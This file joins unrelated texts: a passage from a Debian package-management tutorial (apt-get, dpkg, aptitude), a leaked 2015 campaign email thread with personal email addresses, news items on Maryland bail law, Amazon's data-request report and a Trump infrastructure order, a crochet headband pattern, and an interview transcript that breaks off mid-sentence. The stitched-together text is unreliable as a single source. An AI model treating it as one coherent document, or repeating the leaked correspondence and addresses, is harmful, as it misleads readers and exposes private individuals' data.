ian@attic‑u14:~$ sudo apt‑get autoremove ‑s gfortran Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be REMOVED: gfortran gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 0 upgraded, 0 newly installed, 4 to remove and 23 not upgraded. Remv gfortran 4:4.8.2‑1ubuntu6Remv gfortran‑4.8 4.8.4‑2ubuntu1~14.04Remv libgfortran‑4.8‑dev 4.8.4‑2ubuntu1~14.04Remv libgfortran3 4.8.4‑2ubuntu1~14.04ian@attic‑u14:~$ #Remove just gfortran ian@attic‑u14:~$ sudo apt‑get remove gfortran Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 Use 'apt‑get autoremove' to remove them. The following packages will be REMOVED: gfortran 0 upgraded, 0 newly installed, 1 to remove and 23 not upgraded. After this operation, 33.8 kB disk space will be freed. Do you want to continue? [Y/n] y (Reading database ... 202421 files and directories currently installed.) Removing gfortran (4:4.8.2‑1ubuntu6) ... Processing triggers for man‑db (2.6.7.1‑1ubuntu1) ... ian@attic‑u14:~$ #Autoremove unneeded packages ian@attic‑u14:~$ sudo apt‑get autoremove Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be REMOVED: gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 0 upgraded, 0 newly installed, 3 to remove and 23 not upgraded. After this operation, 17.6 MB disk space will be freed. Do you want to continue? [Y/n] y (Reading database ... 202416 files and directories currently installed.) Removing gfortran‑4.8 (4.8.4‑2ubuntu1~14.04) ... Removing libgfortran‑4.8‑dev:i386 (4.8.4‑2ubuntu1~14.04) ... Removing libgfortran3:i386 (4.8.4‑2ubuntu1~14.04) ... Processing triggers for man‑db (2.6.7.1‑1ubuntu1) ... Processing triggers for libc‑bin (2.19‑0ubuntu6.6) ... Show more Show more icon  As you see, you use the autoremove function of apt-get without any package name, to remove all unused packages that were installed but are no longer required on your system. You can also use the apt-get purge apt-getpurge option to remove configuration information. See the man page for more information.  Updating Debian packages  If you need to update an individual package, use apt-get with the install option again. Listing 7 shows how to update the already installed ghostscript package on my system. Note that the prerequisite packages ghostscript-x and libgs9 will also be upgraded. Remember to run apt-get update apt-getupdate before updating packages to make sure your local database reflects the latest available updates.  Listing 7. Updating a single package ian@attic‑u14:~$ sudo apt‑get install ghostscript Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: ghostscript‑x libgs9 Suggested packages: hpijs The following packages will be upgraded: ghostscript ghostscript‑x libgs9 3 upgraded, 0 newly installed, 0 to remove and 20 not upgraded. Need to get 0 B/1,967 kB of archives. After this operation, 0 B of additional disk space will be used. Do you want to continue? [Y/n] y (Reading database ... 202535 files and directories currently installed.) Preparing to unpack .../ghostscript_9.10~dfsg‑0ubuntu10.3_i386.deb ... Unpacking ghostscript (9.10~dfsg‑0ubuntu10.3) over (9.10~dfsg‑0ubuntu10.2) ... Preparing to unpack .../ghostscript‑x_9.10~dfsg‑0ubuntu10.3_i386.deb ... Unpacking ghostscript‑x (9.10~dfsg‑0ubuntu10.3) over (9.10~dfsg‑0ubuntu10.2) ... Preparing to unpack .../libgs9_9.10~dfsg‑0ubuntu10.3_i386.deb ... Unpacking libgs9 (9.10~dfsg‑0ubuntu10.3) over (9.10~dfsg‑0ubuntu10.2) ... Processing triggers for man‑db (2.6.7.1‑1ubuntu1) ... Setting up libgs9 (9.10~dfsg‑0ubuntu10.3) ... Setting up ghostscript (9.10~dfsg‑0ubuntu10.3) ... Setting up ghostscript‑x (9.10~dfsg‑0ubuntu10.3) ... Processing triggers for libc‑bin (2.19‑0ubuntu6.6) ... Show more Show more icon  Updating all packages or upgrading to a new distribution  Rather than updating individual packages, you can update all packages on your system using the apt-get upgrade apt-getupgrade command. Similarly, apt-get dist-upgrade apt-getdist-upgrade helps you migrate to a new level of your distribution.  For more information on other capabilities and options for apt-get , see the man page.  APT configuration—the apt.conf file  The man page for apt-get shows that there are many options. If you use the apt-get command a lot and find the default options are not to your liking, you can set new defaults in /etc/apt/apt.conf. A program, apt-config , is available for scripts to interrogate the apt.conf file. See the man pages for apt.conf and apt-config for more information.  Reconfiguring Debian packages  APT includes a capability called debconf, which configures packages after they are installed. Packages that use this capability (and not all do) can be reconfigured after they are installed. The easiest way to do this is to use the dpkg-reconfigure command. For example, the adduser command might create home directories that are readable by all system users. You might not want this for privacy reasons. Similarly, the tzdata package supports changing the time zone using dpkg-reconfigure tzdata dpkg-reconfiguretzdata . You must run dpkg-reconfigure with root authority.  shows the first question that you are asked if you run sudo dpkg-reconfigure tzdata sudodpkg-reconfiguretzdata . Your preset default might not be America; it reflects your own system. Navigate around this text-mode screen using the Tab key and the cursor movement keys.  Figure 1. Using dpkg-reconfigure to reconfigure time zone  You can also use debconf-show to view the current configuration for a package as shown in Listing 8.  Listing 8. Displaying tzdata configuration using debconf-show ian@attic‑u14:~$ sudo debconf‑show tzdata tzdata/Zones/Pacific: tzdata/Zones/Europe: tzdata/Zones/Indian: tzdata/Zones/Australia: tzdata/Areas: America tzdata/Zones/Arctic: tzdata/Zones/Atlantic: tzdata/Zones/Etc: UTC * tzdata/Zones/America: New_York tzdata/Zones/US: tzdata/Zones/Africa: tzdata/Zones/SystemV: tzdata/Zones/Antarctica: tzdata/Zones/Asia: Show more Show more icon  Debian package information  Now let’s look at some tools for getting information about packages. Some of these tools do other things as well, but the focus here is on how to get information.  Package status with dpkg  Another tool that is part of the APT system is the dpkg tool. This is a medium-level package management tool that can install and remove packages and display status information. You can control configuration of dpkg by /etc/dpkg/dpkg.cfg, and you might also have a .dpkg.cfg file in your home directory to provide further configuration.  The dpkg tool uses many files in the /var/lib/dpkg tree in your filesystem. In particular, the file /var/lib/dpkg/status contains status information about packages on your system. Listing 9 shows the use of dpkg -s to display the status of the tzdata package after we updated it and the gfortran package after we removed it. If configuration remains, which it can in some cases, you can use the purge option to purge downloaded package files from the cache and remove configuration information.  Listing 9. Tzdata package status ian@attic‑u14:~$ dpkg ‑s gfortran tzdata dpkg‑query: package 'gfortran' is not installed and no information is available Package: tzdata Status: install ok installed Priority: required Section: libs Installed‑Size: 1538 Maintainer: Ubuntu Developers  Architecture: all Multi‑Arch: foreign Version: 2015d‑0ubuntu0.14.04 Replaces: libc0.1, libc0.3, libc6, libc6.1 Provides: tzdata‑jessie Depends: debconf (>= 0.5) | debconf‑2.0 Description: time zone and daylight‑saving time data This package contains data required for the implementation of standard local time for many representative locations around the globe. It is updated periodically to reflect changes made by political bodies to time zone boundaries, UTC offsets, and daylight‑saving rules. Homepage: http://www.iana.org/time‑zones Original‑Maintainer: GNU Libc Maintainers  Use dpkg ‑‑info (= dpkg‑deb ‑‑info) to examine archive files, and dpkg ‑‑contents (= dpkg‑deb ‑‑contents) to list their contents. Show more Show more icon  Packages and the files in them  You might want to know what is in a package or what package a particular file came from. These are both tasks for dpkg. Listing 10 illustrates the use of dpkg -L to list the files (including directories) installed by the libparted package. For most packages, you can just give the package name and not worry about specifying a particular version. However, some packages might be available in multiple versions, so you might need to specify a more detailed package name when using dpkg to interrogate the package information.  Listing 10. What is in the libparted package? ian@attic‑u14:~$ dpkg ‑L libparted dpkg‑query: package 'libparted' is not installed Use dpkg ‑‑info (= dpkg‑deb ‑‑info) to examine archive files, and dpkg ‑‑contents (= dpkg‑deb ‑‑contents) to list their contents. ian@attic‑u14:~$ dpkg ‑L libparted0debian1 /. /usr /usr/share /usr/share/doc /usr/share/doc/libparted0debian1 /usr/share/doc/libparted0debian1/changelog.Debian.gz /usr/share/doc/libparted0debian1/copyright /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/libparted0debian1 /lib /lib/i386‑linux‑gnu /lib/i386‑linux‑gnu/libparted.so.0.0.1 /lib/i386‑linux‑gnu/libparted.so.0 Show more Show more icon  To find which package contains a specific file, use the -S option of dpkg, as shown in Listing 11. The name of the package is listed on the left.  Listing 11. What package contains a file? ian@attic‑u14:~$ dpkg ‑S /lib/i386‑linux‑gnu/libparted.so.0 libparted0debian1:i386: /lib/i386‑linux‑gnu/libparted.so.0 Show more Show more icon  Sometimes, a file appears like it doesn’t belong to any package. When this occurs, you need to do some extra sleuthing to find where a package comes from. For example, the installation setup step can perform tasks such as creating symbolic links that are not listed as part of the package contents. A relatively recent addition to Linux systems is the alternatives system, which is managed using the update-alternatives command. Alternatives are frequently created for commands such as java , which might be the openJDK, Oracle or IBM version, among other possibilities.  Listing 12 shows how to use the which command to find what is invoked if we try to run java . Then we use the ls command to see what that java command is symbolically linked to. The link to the /etc/alternatives directory is a clue that we are using the alternatives system, so we use the update-alternatives command to find more information. Finally, we use the dpkg -S dpkg-S command to confirm that the java command comes from the openjdk-7-jre-headless. The setup for the alternatives system would have been done by a post-install script that is part of the openjdk-7-jre-headless package.  Listing 12. A more complex use of dpkg -S ian@attic‑u14:~$ which java /usr/bin/java ian@attic‑u14:~$ dpkg ‑S /usr/bin/java dpkg‑query: no path found matching pattern /usr/bin/java ian@attic‑u14:~$ ls ‑l $(which java) lrwxrwxrwx 1 root root 22 Jul 24 18:06 /usr/bin/java ‑> /etc/alternatives/java ian@attic‑u14:~$ update‑alternatives ‑‑display java java ‑ auto mode link currently points to /usr/lib/jvm/java‑7‑openjdk‑i386/jre/bin/java /usr/lib/jvm/java‑7‑openjdk‑i386/jre/bin/java ‑ priority 1071 slave java.1.gz: /usr/lib/jvm/java‑7‑openjdk‑i386/jre/man/man1/java.1.gz Current 'best' version is '/usr/lib/jvm/java‑7‑openjdk‑i386/jre/bin/java'. ian@attic‑u14:~$ dpkg ‑S /usr/lib/jvm/java‑7‑openjdk‑i386/jre/bin/java openjdk‑7‑jre‑headless:i386: /usr/lib/jvm/java‑7‑openjdk‑i386/jre/bin/java Show more Show more icon  Using aptitude  Earlier, I mentioned that the status for packages is kept in /var/lib/dpkg/status. I also mentioned that dpkg could do more than just display package information. Now, let’s look at the aptitude command, which provides a text-based full-screen interface (using ncurses) to the APT package management functions. You can install aptitude using apt-get if it is not already installed. You can use aptitude to install or remove packages and to control status flags that indicate whether packages should be kept up-to-date or held in their present state, for example. If you run the aptitude command (as root), you see a screen similar to Aptitude 1.  Figure 2. Running aptitude  Press Enter to expand or collapse the various selections, then use ctrl-t to access the menu bar. Aptitude 2 shows that a new kernel version, 3.16.0.43.34, is available for my system, among other available updates. The ‘i’ in the left column indicates that the current status is to install the package. The Help menu item explains the various options you have, including holding a package at its current level rather than updating it, removing it, or marking it as being automatically installed and thus eligible for automatic removal. Remember the autoremove option of apt-get ? Now you know how to examine or control which packages are eligible for automatic removal. Use the keyboard shortcuts described in the Help or use the Package menu item to change the flags.  Figure 3. Running aptitude and examining package flags  You can use the slash (“/”) key to search for packages. For example, if you wanted to reinstall the gfortran package that we removed earlier, simply type “/gfortran” to search for it. If the search takes you to something else with gfortran in it, such as gfortran-doc, press the n key to advance to the next match. Then use the Package menu to mark the package for installation.  When you are finished, select Actions->Install/remove packages (or press G) to apply your selections to the system. You can also click the quit option if you do not want to apply the changes.  For help at any time, use the menu bar or type “ ? ” (question mark) for help, and then press the Q key to exit the help.  You see that aptitude can help you install or remove individual packages and upgrade all the packages on your system to the latest level.  In addition to aptitude, there are several other interactive package management interfaces for Debian systems, including dselect, synaptic, update-manager, gnome-apt, and wajig. Synaptic is a graphical application for use with the X Window System. shows the synaptic user interface with our old friend, the gfortran package, marked for installation.  Figure 4. Installing gfortran using synaptic  The Apply button installs gfortran and updates any other packages that are scheduled for update. The Reload button refreshes the package lists. If you are accustomed to GUI interfaces, you might find synaptic easier to use than apt-get, dpkg, or dselect.  Similarly, you might find that your system includes update-manager , an X Window System application, specifically tailored to help you keep your system up-to-date. If installed, it is likely to be started automatically on a regular basis, so that you don’t forget to update. shows how Update Manager displays the set of updates that you saw in Aptitude 2. As was the case with aptitude, the updates are classified so that you know which updates are important security updates.  Finding Debian packages  In the final topic on Debian package management, I look at ways to find packages. Usually, apt-get and the other tools discussed here already know about any Debian package you might need from the list of available packages. A command that we haven’t used yet is apt-cache , which is useful for searching package information on your system. apt-cache can search using regular expressions (see “Learn Linux, 101: Search text files using regular expressions” for more information on regular expressions). Suppose you wanted to find the name of the package containing the Linux loader. Listing 13 shows how you can accomplish this.  Listing 13. Searching for the Linux loader with apt-cache ian@attic‑u14:~$ apt‑cache search "linux loader" lilo ‑ LInux LOader ‑ the classic OS boot loader lilo‑doc ‑ LInux LOader ‑ Documentation for the classic OS boot loader Show more Show more icon  You saw earlier that aptitude and synaptic also offer search tools. If you use synaptic, note that you have options on the search menu for searching only package names or package descriptions as well.  If you still can’t find the package, you can find it among the list of packages on the Debian site (see the resources at the right side for a link) or elsewhere on the Internet.  Most of the package tools can tell you a lot more about an installed package than about one that you do not yet have installed, such as the list of files within a package. If you need to find what package contains a program that you do not have installed, there are a few ways:  You can guess what package might contain it and download the package without installing. Once you have the package, you can interrogate it.  You can search the Internet.  You can try the command-not-found capability, which is described under Command not found later in this tutorial.  The apt-get command has a -d option to download a package and not install it. There is also a --print-uris option to show where a package would be downloaded from and what its checksum would be. Current checksums are likely to be SHA256 checksums, so you can check the integrity of the downloaded package using the sha256sum command. Note that the URI and checksum information are not displayed if you have already downloaded the package, so you should get this information before downloading the package.  Suppose you want to know whether the gfortran command is really contained in the gfortran package. Listing 14 shows you how to use apt-get to download the gfortran package without installing it.  Listing 14. Using apt-get for download-only ian@attic‑u14:~$ sudo apt‑get install ‑d gfortran Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 Suggested packages: gfortran‑multilib gfortran‑doc gfortran‑4.8‑multilib gfortran‑4.8‑doc libgfortran3‑dbg The following NEW packages will be installed: gfortran gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 0 upgraded, 4 newly installed, 0 to remove and 20 not upgraded. Need to get 0 B/5,039 kB of archives. After this operation, 17.6 MB of additional disk space will be used. Do you want to continue? [Y/n] y Download complete and in download only mode Show more Show more icon  Once you have the package downloaded, you can use the --info option of dpkg to display the package information, or the --contents option to show what files the package installs. The downloaded file is usually located in /var/cache/apt/archives/. Listing 15 shows how to locate the file you downloaded and find out what binaries it will install (assuming they are installed in a …/bin/… directory).  Listing 15. Using dpkg to list the contents of a .deb ian@attic‑u14:~$ sudo find /var/cache ‑name "gfort*.deb" /var/cache/apt/archives/gfortran_4%3a4.8.2‑1ubuntu6_i386.deb /var/cache/apt/archives/gfortran‑4.8_4.8.4‑2ubuntu1~14.04_i386.deb ian@attic‑u14:~$ sudo dpkg ‑‑contents > /var/cache/apt/archives/gfortran_4%3a4.8.2‑1ubuntu6_i386.deb | > grep "/bin/" drwxr‑xr‑x root/root 0 2014‑04‑07 18:49 ./usr/bin/ lrwxrwxrwx root/root 0 2014‑04‑07 18:49 ./usr/bin/gfortran ‑> gfortran‑4.8 lrwxrwxrwx root/root 0 2014‑04‑07 18:49 ./usr/bin/i686‑linux‑gnu‑gfortran ‑> gfortran‑4.8 Show more Show more icon  If you do find and download a .deb file using something other than apt-get , you can install it using dpkg -i .  If you decide you do not want to install the package you downloaded into the APT archives, you can run apt-get clean apt-getclean to clear out any downloaded package files.  If all else fails, there is another possible source for packages. Suppose you find a program packaged as an RPM rather than a .deb. You can try the alien program, which can convert between package formats. You should read the alien documentation carefully as not all features of all package management systems can be converted to another format by alien. Use what you’ve already learned in this tutorial to help you find the package containing the alien command.  Command not found  Back in Listing 1, you saw a helpful message telling you what package to install to get the gfortran command. How is this done? When the Bash shell searches for a command and does not find it, then the shell searches for a shell function named command_not_found_handle . Listing 16 shows how this is defined on my Ubuntu 14 system.  Listing 16. command_not_found_handle ian@attic-u14:~$ type command_not_found_handle command_not_found_handle is a function command_not_found_handle () { if [ -x /usr/lib/command-not-found ]; then /usr/lib/command-not-found -- "$1"; return $?; else if [ -x /usr/share/command-not-found/command-not-found ]; then /usr/share/command-not-found/command-not-found -- "$1"; return $?; else printf "%s: command not found  " "$1" 1>&2; return 127; fi; fi } Show more Show more icon  If the command_not_found_handle function exists, it is invoked with the original command and original arguments as its arguments, and the function’s exit status becomes the exit status of the shell. If the function is not defined, the shell prints an error message and returns an exit status of 127. The function is usually set in the system /etc/bash.bashrc file. You can see from Listing 16 that the function checks for the existence of /usr/lib/command-not-found and runs it as a Python script if it exists. If it does not exist, perhaps because the command-not-found package that supplies it was removed after the shell session was started, then the function mimics the standard system behavior and returns 127.  PackageKit  No discussion of package installation would be complete without mentioning PackageKit, which is a system designed to be cross platform and to make installing and updating software easier. The intent is to unify all the software graphical tools used in different distributions. PackageKit uses a system activated daemon, which means that the daemon is activated only when needed. PackageKit has versions for Gnome (gnome-packagekit) and KDE (KPackageKit).  There is a lot more to the Debian package management system than covered here. There is also a lot more to Debian than its package management system. See the resources at the right side for additional details and links to other tutorials in this series.
-This email has also been verified by Google DKIM 2048-bit RSA key  Fwd: Jeb  From:jp66@hillaryclinton.com To: john.podesta@gmail.com Date: 2015-04-21 16:05 Subject: Fwd: Jeb  ---------- Forwarded message ---------- She's going to stick to notes a little closer this am, still not perfect in her head. Sent from my iPhone On Apr 21, 2015, at 10:12 AM, Joel Benenson  wrote: Stronger than “I am very concerned….” I will leave commenting on campaign tactics to others. What I have made absolutely clear is that corporate money and secret money have no place in our democracy and we should get rid of it once and for all.” * Yes. If she feels need to address Jeb q directly - would suggest the pivot of "I will leave commentating on campaign tactics to others, but I am very concerned about the dark money in politics and have to get rid of it once and for all." Sent from my iPhone On Apr 21, 2015, at 10:03 AM, Margolis, Jim  wrote: Agree with Robby. Do the hit, but don’t go deep into it. One thing that’s interesting… if they do TV through the Super PAC, during the ‘candidate windows’ they won’t get Lowest Unit Rate. In plain english… they will pay a big premium over candidate rates if that’s how they fund a big part of their TV effort (as reported in the article). I wouldn’t share that, but can’t believe they’d outsource here. * I would be reluctant to be vocal on this one way or another since we don't know what will happen on our side. I would have other people push that he's being bought and paid for. Strategically, anyone who saw what happened with ACT in 2004 would think twice about "outsourcing" the ground game or other parts of a campaign, but I don't think we go there w the press. On Apr 21, 2015, at 9:55 AM, Jennifer Palmieri  wrote: So this is a thing...what do people think about Jeb using the super-pac for broader things? Sent from my iPhone Begin forwarded message: * Let us know if you have any thoughts on this arrangement Jeb is setting up, would be interested in your take ... m.apnews.com/ap/db_268798/contentdetail.htm?contentguid=V99KjLZu Download the official Twitter app here  Sent from my iPhone The information contained in this communication is intended for the use of the designated recipients named above. If the reader of this communication is not the intended recipient, you are hereby notified that you have received this communication in error, and that any review, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please notify The Associated Press immediately by telephone at +1-212-621-1898 and delete this email. Thank you. [IP_US_DISC] msk dccc60c6d2c3a6438f0cf467d9a4938 This email is intended only for the named addressee. It may contain information that is confidential/private, legally privileged, or copyright-protected, and you should handle it accordingly. If you are not the intended recipient, you do not have legal rights to retain, copy, or distribute this email or its contents, and should promptly delete the email and all electronic copies in your system; do not retain copies in any media. If you have received this email in error, please notify the sender promptly. Thank you. -- JP jp66@hillaryclinton.com For scheduling: mfisher@hillaryclinton.com
-A bill that would have resurrected the bail system in Maryland will not get a vote in the House of Delegates, a top aide to House Speaker Michael E. Busch said late Thursday, after Democratic leaders concluded it would not have enough support to pass.  Alexandra Hughes, Busch’s chief of staff, said the speaker made the decision after Democratic members polled their caucus to see how members would vote.  Allowing the bill to die in the House effectively leaves in place a recent Court of Appeals rules change that greatly limits the use of bail and instructs judges to use the “least onerous” conditions when setting bail for a defendant who is not considered a danger or a flight risk.  Busch’s decision was first reported by the Baltimore Sun.  Progressive advocates and lawmakers tried for years to abolish bail for poor defendants, saying it unfairly discriminates against them and can leave defendants who are not flight risks languishing in jail before trial simply because they lack the money to post bond.  Del. Cheryl Glenn chairs a meeting of the Legislative Black Caucus of Maryland where lawmakers voted to oppose a pro-bail bill. (Doug Kapustin/For The Washington Post)  But the Court of Appeals decision was strongly opposed by the bail bond industry, who said it took away judges’ discretion and would mean more criminals on the street and fewer showing up in court for trial.  The industry campaigned against the change on social media and was highly visible in Annapolis during the current legislative session, urging lawmakers to pass a bill sponsored by Sen. Anthony Muse (D-Prince George’s) that would reestablish the option for judges to set bail even for poor defendants.  The bill was approved in the Senate, but it was opposed by the powerful Legislative Black Caucus, one of the largest blocs in the legislature. The Hispanic and Asian caucuses, and the entire Montgomery County delegation, subsequently decided to oppose the bill as well.  “I’m ecstatic,” said Cheryl Glenn, chair of the Maryland Legislative Black Caucus, which voted against the bill. “I was very happy to hear it’s not going to the floor.  “This not only sends a message to the leadership in Maryland but to people across the country about what can be accomplished when African American legislators stand together.”
-(Image: CNET/CBS Interactive)  Amazon has disclosed how many government data demands it receives -- finally.  Stephen Schmidt, chief information security officer for Amazon Web Services, broke the company's years of silence in a blog post late Friday.  "Where we need to act publicly to protect customers, we do," said Schmidt. "Amazon never participated in the NSA's PRISM program," he added, despite no evidence to date showing that the company had been forced to hand over data through the clandestine surveillance program.  Despite it being known best for its online retail business, its cloud services power millions of apps, sites, and services around the world. But the news couldn't come soon enough. Amazon is the last major technology company in the Fortune 500 to disclose how many times governments have come knocking on its door, demanding customer and user data.  Amazon, known by insiders for being notoriously secretive, was at no point under a legal obligation to report its numbers, but had faced mounting pressure in the face of transparency reports becoming an industry norm.  Schmidt said the report, which covers the six months starting January 1 and ending May 31, will be released biannually.  By the numbers:  Amazon received 813 subpoenas, of which it fully complied with 66 percent;  Amazon received 35 search warrants, of which it fully complied with just over half;  Out of the other 13 other court orders it received, Amazon fully complied with just four;  Amazon received 132 foreign requests, of which it fully complied with 82 percent;  Amazon complied with the one removal orders (like user data) it received  Amazon disclosed that it had received between zero and 249 national security requests, such as a court order issued by the secretive Foreign Intelligence Surveillance Court.  The company could not specifically say whether or not it had received a single classified order.  In the wake of the NSA surveillance scandal, tech companies demanded the right to disclose how many secret data demands they received from the government. The Justice Department eventually relented, allowing those figures to be reported in wide numerical ranges.  The company's second bi-annual report is expected later this year, or early next.
-Share This On Social  The US President Donald Trump signed a bill to speed up the issuance of permits for construction of motorways, bridges and other major construction projects. The bill is part from his 1 trillion USD investment plan to modernize outdated infrastructure in the country. The decree text was not available immediately after signing. Earlier sources have indicated that it repeals a decree by former President Barack Obama imposing rigorous building standards for government-funded projects to reduce the possible impact of external factors such as floods as a result of sea level rise and other climate change effects.  “We will no longer allow our magnificent country’s infrastructure to collapse and destroy”, said Trump at a press conference in Trump Tower. “While we are protecting the environment, we will build brilliant new roads, bridges, railways, waterways, tunnels and highways. We will rebuild our country with American workers, American iron, American aluminum and American steel”, said the US President.  By abolishing Obama’s standards, Trump hopes to speed up infrastructure project procedures.  Separately, a White House spokesman said that the Decree sets a two-year deadline for completing authorization procedures for major infrastructure plans and creates a protocol for a “federal level decision” for major projects.  Trump reminded that for the construction of the 103-storey skyscraper Empire State Building in New York were needed only 11 months, and now permission for major construction projects takes years.
-Pattern for the Valentine Headband  THIS IS A FREE PATTERN  Materials Needed:  Caron Simply Soft Yarn  Harvest Red  Off White  Yarn Needle  I/9 Hook 5.50 MM  Stitches:  ch: Chain  sc: Single Crochet  sc2tog: Single Crochet 2 Together for Decrease  hdc: Half Double Crochet  slst: Slip Stitches  st: Stitches  Guage: 2 Inches = 8 hdc & 6 Rows  Skill Level: Easy  Making the Headband: Using Harvest Red  Baby (17 inch Head Circumference)  ch 52  Join with slst in 1st ch (careful not to twist ch)  Rnd 1: ch 1, hdc in same st, hdc around. Slst in 1st hdc (52)  Rnd 2-8: Repeat Rnd 1 Fasten off at the end of Rnd 8  Child (1-3 years) (19 inch Head Circumference)  ch 59  Join with slst in 1st ch (careful not to twist ch)  Rnd 1: ch 1, hdc in same st, hdc around. Slst in 1st hdc (59)  Rnd 2-9: Repeat Rnd 1 Fasten off at the end of Rnd 9  Child (3-10 years) (21 inch Head Circumference)  ch 66  Join with slst in 1st ch (careful not to twist ch)  Rnd 1: ch 1, hdc in same st, hdc around. Slst in 1st hdc (66)  Rnd 2-10: Repeat Rnd 1 Fasten off at the end of Rnd 10  Adult (Small) (22 inch Head Circumference)  ch 70  Join with slst in 1st ch (careful not to twist ch)  Rnd 1: ch 1, hdc in same st, hdc around. Slst in 1st hdc (70)  Rnd 2-10: Repeat Rnd 1 Fasten off at the end of Rnd 10  Adult (Medium) (23 inch Head Circumference)  ch 74  Join with slst in 1st ch (careful not to twist ch)  Rnd 1: ch 1, hdc in same st, hdc around. Slst in 1st hdc (74)  Rnd 2-10: Repeat Rnd 1 Fasten off at the end of Rnd 10  Adult (Large) (24 inch Head Circumference)  ch 78  Join with slst in 1st ch (careful not to twist ch)  Rnd 1: ch 1, hdc in same st, hdc around. Slst in 1st hdc (78)  Rnd 2-10: Repeat Rnd 1 Fasten off at the end of Rnd 10  Weave in tails.  Note** You will see a line where you joined each row. That is ok. You will cover it with hearts.  Large Heart:  Using Off White  ch 2  Row 1: Make 2 sc in 2nd ch from hook, ch 1, turn (2)  Row 2: 2 sc in each st, ch 1, turn (4)  Row 3: 2 sc in 1st st, sc in next 2 st, 2 sc in last st, ch 1, turn (6)  Row 4: 2 sc in 1st st, sc in next 4 st, 2 sc in last st, ch 1, turn (8)  Row 5: 2 sc in 1st st, sc in next 6 st, 2 sc in last st, ch 1, turn (10)  Row 6: 2 sc in 1st st, sc in next 8 st, 2 sc in last st, ch 1, turn (12)  Row 7: 2 sc in 1st st, sc in next 10 st, 2 sc in last st, ch 1, turn (14)  Row 8: 2 sc in 1st st, sc in next 12 st, 2 sc in last st, ch 1, turn (16)  First hump of the heart:  Row 9: sc in next 8 st, ch 1, turn (8)  Row 10: sc2tog, sc in next 4 st, sc2tog, ch 1, turn (6)  Row 11: sc2tog, sc in next 2 st, sc2tog, ch 1, turn (4)  Row 12: sc2tog, sc2tog, ch 1, Fasten off. (2)  Second hump of the heart:  Attach to 9th st of Row 8  Repeat Row 9-12.  Sc all the way around the piece, Fasten off.  Weave in tail.  Medium Heart:  Using Harvest Red  ch 2  Row 1: Make 2 sc in 2nd ch from hook, ch 1, turn (2)  Row 2: 2 sc in each st, ch 1, turn (4)  Row 3: 2 sc in 1st st, sc in next 2 st, 2 sc in last st, ch 1, turn (6)  Row 4: 2 sc in 1st st, sc in next 4 st, 2 sc in last st, ch 1, turn (8)  Row 5: 2 sc in 1st st, sc in next 6 st, 2 sc in last st, ch 1, turn (10)  Row 6: 2 sc in 1st st, sc in next 8 st, 2 sc in last st, ch 1, turn (12)  First hump of the heart:  Row 7: sc in next 6 st, ch 1, turn (6)  Row 8: sc2tog, sc in next 2 st, sc2tog, ch 1, turn (4)  Row 9: sc2tog, sc2tog, ch 1, turn (2)  Second hump of the heart:  Attach to 7th st of Row 6  Repeat Row 7-9.  Sc all the way around the piece, Fasten off.  Weave in tail.  Small Heart:  Using Off White  ch 2  Row 1: Make 2 sc in 2nd ch from hook, ch 1, turn (2)  Row 2: 2 sc in each st, ch 1, turn (4)  Row 3: 2 sc in 1st st, sc in next 2 st, 2 sc in last st, ch 1, turn (6)  Row 4: 2 sc in 1st st, sc in next 4 st, 2 sc in last st, ch 1, turn (8)  First hump of the heart:  Row 5: sc in next 4 st, ch 1, turn (4)  Row 6: sc2tog, sc2tog, ch 1, turn (2)  Second hump of the heart:  Attach to 5th st of Row 4  Repeat Row 5-6.  Sc all the way around the piece, Fasten off.  Weave in tail.  Attachment  Lay the medium heart over the large heart and the small heart over the medium heart. Place the 3 stacked hearts over the slanted line on the headband. Sew only around the small heart to secure the hearts to the headband. Weave in or hide the tails in the headband.  If you want to download this pattern, you can get it from Etsy for just $1.00!
-This is a rush transcript. Copy may not be in its final form.  AMY GOODMAN: We end today’s show with Cody Hall of the Cheyenne River Sioux Tribe. He had two arrest warrants—he had an arrest warrant issued for two misdemeanors of criminal trespass for land defense actions. On Monday, he learned the charges were dropped. I spoke to Cody over the weekend about his arrest.  CODY HALL: In the manner of which I was arrested, was treated like—like I was the Native Osama, with at least 18 state officers that got out of their squad cars when I was arrested on a highway, Highway 1806, going up to Bismarck.  AMY GOODMAN: So, then you were taken to the Morton County jail in Mandan?  CODY HALL: Yeah, yep. Yeah, I was taken there, and I was met with state, you know, police officers dressed in their—you know, in their gear, and then also just really, you know, villainized. You know, just like I said, just—you know, FBI wanted to question me. I invoked my right, you know, silence.  AMY GOODMAN: Have you been targeted since your arrest?  CODY HALL: Yes, yes, I have been targeted. As I look at, you know, side mirrors and rear view mirrors, you know, I have DAPL security in their rented trucks that they drive around with no license plate on them. And so, I like to kind of play a game, and I’ll just drive around a little bit, just to see if that vehicle is tailing me. And sure enough, I get a lot of, you know, vehicles tailing me in the city.  AMY GOODMAN: We also spoke with Cody Hall about his experience inside the Morton County jail, including how he was strip-searched.  CODY HALL: As I exited out of the vehicles and entered Morton County, I came up an elevator, and as the elevator opened up, I was met with state police. And then, you know, of course, Morton County people were there to book people, but—and then, from there, started the process of the booking, and then, again, you know, went into a private room, where they ask you to, you know, get naked. You know, they had my arms. They, you know, kind of like extend your arms out. And you’re fully naked. And they have you, you know, lift up your genitals and bend over, you know, cough. And so, it’s really one of those tactics that they try to break down your mentalness of everyday life, because not every day do you wake up and say, “Hey, I’m going to get, you know, naked and have somebody search me today,” you know? That’s a private—you know, that’s a private feeling for you, when you get naked, so…  AMY GOODMAN: And four days later, when you were finally released—they hadn’t allowed you to go out on bail or bond for those four days—you came before a judge in the orange jumpsuit?  CODY HALL: Yes, yes, I sat in the court office in my orange jumpsuit, locked, you know, still handcuffed, exited out of the courtroom. And as I left the courtroom, there were 20 or so state police all in their bullet-proof vests, everything just looking, you know, like—you know, like they’re going into action of some sort. And then they literally had a line from the courtroom to the door that connects you to the county jail. And my mother walked out with me. And as we got to the door, they were opening the door up. And as I looked behind me, my mother and 